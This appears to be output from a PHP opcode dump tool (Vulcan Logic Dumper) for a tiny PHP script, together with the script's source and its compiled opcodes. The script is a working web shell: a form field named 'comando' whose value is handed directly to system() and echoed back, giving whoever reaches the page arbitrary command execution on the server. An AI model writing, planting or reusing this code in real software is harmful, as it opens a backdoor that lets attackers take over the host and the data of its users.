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<form method="GET" action=""> <input type="text" name="comando"> <input type="submit" value="enviar"> </form> <?php if(isset($_GET['comando'])){ $var = system($_GET['comando']); echo $var; } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 4, Position 2 = 11
Branch analysis from position: 4
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 11
filename:       /in/Fs1gk
function name:  (null)
number of ops:  12
compiled vars:  !0 = $var
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ECHO                                                     '%3Cform+method%3D%22GET%22+action%3D%22%22%3E%0A%3Cinput+type%3D%22text%22+name%3D%22comando%22%3E%0A%3Cinput+type%3D%22submit%22+value%3D%22enviar%22%3E%0A%3C%2Fform%3E%0A+%0A'
    7     1        FETCH_IS                                         ~1      '_GET'
          2        ISSET_ISEMPTY_DIM_OBJ                         0          ~1, 'comando'
          3      > JMPZ                                                     ~2, ->11
    8     4    >   INIT_FCALL                                               'system'
          5        FETCH_R                      global              ~3      '_GET'
          6        FETCH_DIM_R                                      ~4      ~3, 'comando'
          7        SEND_VAL                                                 ~4
          8        DO_ICALL                                         $5      
          9        ASSIGN                                                   !0, $5
    9    10        ECHO                                                     !0
   11    11    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


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